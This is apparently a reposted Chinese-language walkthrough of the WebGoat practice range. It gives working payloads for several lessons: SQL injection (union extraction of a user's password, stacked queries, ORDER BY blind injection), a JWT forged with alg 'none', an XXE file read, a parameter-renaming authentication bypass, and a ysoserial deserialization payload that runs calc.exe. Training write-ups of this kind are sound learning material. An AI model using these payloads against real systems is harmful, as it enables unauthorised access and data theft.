WEBGOAT靶场

admin 2023年7月21日01:33:21评论22 views字数 3616阅读12分3秒阅读模式

安装

windows安装

需要代码审计,直接在下载地址下载文件,将下载的webgoat.jar文件移动到文件夹中,将文件夹用IDEA打开

  • 运行前提:需要java11环境

  • 下载地址:https://github.com/WebGoat/WebGoat

  • 启动命令:java -jar webgoat.jar

    • 指定端口启动:java -jar webgoat.jar --server.port=8000 --server.address=127.0.0.1

    • 指定8000端口,ip地址为127.0.0.1

  • 地址:http://IP:8000/WebGoat/login

使用docker

  • 下载:docker pull webgoat/webgoat-8.0

  • 启动:docker run -d -p 8080:8080 webgoat/webgoat-8.0:latest

  • 地址:http://IP:8080/WebGoat/login

sql注入

intro-10

WEBGOAT靶场

sql注入(intro)-10

  • 查找语句:SELECT * FROM user_data WHERE login_count = Login_Count AND userid =User_ID

  • 运行结果:SELECT * From user_data WHERE Login_Count =1 and userid= 123456

  • Login_Count字符型,User_ID数字型

  • payload:Login_Count=1User_ID=1 or 1=1

  • 如果,Login_Count=1 or 1=1User_ID=123456,那么运行语句为:SELECT * From user_data WHERE Login_Count = 1 or 1=1 and userid= 123456,此时Login_Count = 1 or 1=1判定为truetrue and userid= 123456,判定为假,故无法使用Login_Count注入

advanced-3

WEBGOAT靶场

题目意思:给user_date,user_system_data,得到dave密码

  • 输入框中字段名字(name),密码(password)

  • 题目中name在user_date表中查,password在user_system_data中查询,需要用union爆出user_system_data表的数据

  • payload:' or true union select 1,'2','3','4','5',password,7 from user_system_data where user_name='dave'--

WEBGOAT靶场

执行结果

执行解释

  • 带入数据库执行语句:SELECT * FROM user_data WHERE last_name = '' or true union select 1,'2','3','4','5',password,7 from user_system_data where user_name='dave'--

  • 一共七个字段:1,’2′,’3′,’4′,’5′,password,7,对应不同类型(字符型加单引号,数字型不加引号)

  • 先查询(SELECT * FROM user_data)user_data所有数据,在查询user_system_data表的password字段当名字为dave时内容,然后注释后面内容

  • 结果是输出user_data表所有内容,再输出dave的密码(passW0rD)

提示说还有一种方法,表达的意思应该是联合注入

WEBGOAT靶场

得到密码

payloda:222';select password from user_system_data where user_name='dave'--

advanced-5

WEBGOAT靶场

注册窗口存在注入点

WEBGOAT靶场

and ‘1’=’1

WEBGOAT靶场

and ‘1’=’2

剩下的就是报错注入

mitigation-12

WEBGOAT靶场

点击小图标进行排序

WEBGOAT靶场

按照ip进行排序

  • 预编译绕过:通过使用 case when 语句可以将 order by 后的 orderExpression 表达式中添加 select 语句,类似于堆叠注入,但是必须存在order by

  • 绕过方式:select * from test where id=? order by case (when (true/false) then sno else age end),在when中推荐逻辑语句进行判断

  • 例:?column=case when (select substr(ip,1,1)='0' from servers where hostname='webgoat-prd')then hostname else mac end

  • 得到运行结果看按照什么排序即可判断正误

  • payload:104.130.219.202

WEBGOAT靶场

webgoat代码

身份验证

身份验证绕过

WEBGOAT靶场

将secQuestion0,secQuestion1改为secQuestion2 secQuestion3(非1,2即可,但需要包含secQuestion)

WEBGOAT靶场

得到返回值为true

如果参数名包含”secQuestion”,则将参数名作为userAnswers的key,参数值作为value存入。但是没有判定参数名后面的数字是否原先设置好的数字,所以我们给一个没有出现过得并且能通过验证的key即可

WEBGOAT靶场

代码说明图

JWT token-3

题目意思是让我们越权为admin用户

WEBGOAT靶场

选择用户为tom

WEBGOAT靶场

数据包

抓取更换用户数据包,将jwt部分解密
将”alg”: “HS512″,”admin”:”flase”修改为”alg”: “none”,”admin”:”true”,并且将密钥部分删除,达到越权

WEBGOAT靶场

WEBGOAT靶场

说明图

  • https://jwt.io/平台认为将alg修改为none为恶意行为,所以无法修改

  • 注意:alg的表示的时间戳、将密钥部分删除

  • 签名算法被修改为none,服务端接收到token后会将其认定为无加密算法

将”alg”: “HS512″,”admin”:”flase”修改为”alg”: “none”,”admin”:”true”,并且将密钥部分删除,达到越权

WEBGOAT靶场

返回数据包

XXE-2

WEBGOAT靶场

评论数据包

明显的xxe注入攻击,可以构造payload

<?xml version="1.0"?><!DOCTYPE my [<!ENTITY root SYSTEM "file:///">]><comment><text>&root;</text></comment>

XXE-7

WEBGOAT靶场

数据包说明图

题目意思是可以接收json的数据包可能也可以接收xxe类型的数据,但是注意数据格式需要换(content-type)

WEBGOAT靶场

数据包

不安全的反序列化

WEBGOAT靶场

题目

根据序列化数据特征:开头rO0A可得为base64加密后结果

WEBGOAT靶场

白盒审计

  • 直接利用java插件漏洞生成payload

  • 运行ysoserial工具:java -jar ysoserial.jar

  • hibernate5的插件:java -Dhibernate5 -cp hibernate-core-5.4.6.Final.jar

  • 生成Hibernate1插件反序列化漏洞的payload,执行calc.exe命令,将payload保存在token.bin文件中:ysoserial.jar ysoserial.GeneratePayload Hibernate1 calc.exe > token.bin

  • payload生成了,但是还需要经经过base64加密,使用python加密

import base64

filename = input("输入需要base64编码的文件名:")
s = open(filename, "rb").read()
#文本默认模式读取文件内容rt
base64_str = base64.urlsafe_b64encode(s)
#文本默认模式写入文件内容wt
open("base64.txt", "wt",encoding="utf-8").write(base64_str.decode())

将输出结果为在cmd界面调用计算器

WEBGOAT靶场


本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!


敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。


原文始发于微信公众号(巢安实验室):WEBGOAT靶场

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月21日01:33:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WEBGOAT靶场https://cn-sec.com/archives/1894291.html

发表评论

匿名网友 填写信息